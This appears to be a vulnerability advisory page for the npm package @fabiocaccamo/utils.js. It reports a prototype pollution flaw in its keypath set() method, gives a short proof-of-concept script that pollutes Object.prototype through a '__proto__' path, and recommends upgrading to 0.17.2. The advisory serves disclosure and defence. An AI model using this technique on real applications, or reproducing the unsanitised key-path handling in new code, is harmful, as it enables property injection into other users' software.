@fabiocaccamo/utils.js@0.9.6 vulnerabilities

zero dependencies vanilla JavaScript utils.

  • latest version

    1.1.0

  • latest non vulnerable version

  • first published

    6 years ago

  • latest version published

    4 months ago

  • licenses detected

  • Direct Vulnerabilities

    Known vulnerabilities in the @fabiocaccamo/utils.js package. This does not include vulnerabilities belonging to this package’s dependencies.

    How to fix?

    Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

    Fix for free
    VulnerabilityVulnerable Version
    • H
    Prototype Pollution

    @fabiocaccamo/utils.js is a JavaScript utils for lazy devs.

    Affected versions of this package are vulnerable to Prototype Pollution via the set() and method, which merges the path and value parameters based on the key:value.

    ###PoC

    const utils = require("@fabiocaccamo/utils.js");
    const obj = {};
    const fake_obj = {};
    
    console.log(`[+] Before prototype pollution : ${obj.polluted}`);
    utils.object.keypath.set(fake_obj, '__proto__.polluted', true);
    console.log(`[+] After prototype pollution : ${obj.polluted}`);
    
    /* 
    [+] Before prototype pollution : undefined
    [+] After prototype pollution : true
    */
    

    How to fix Prototype Pollution?

    Upgrade @fabiocaccamo/utils.js to version 0.17.2 or higher.

    <0.17.2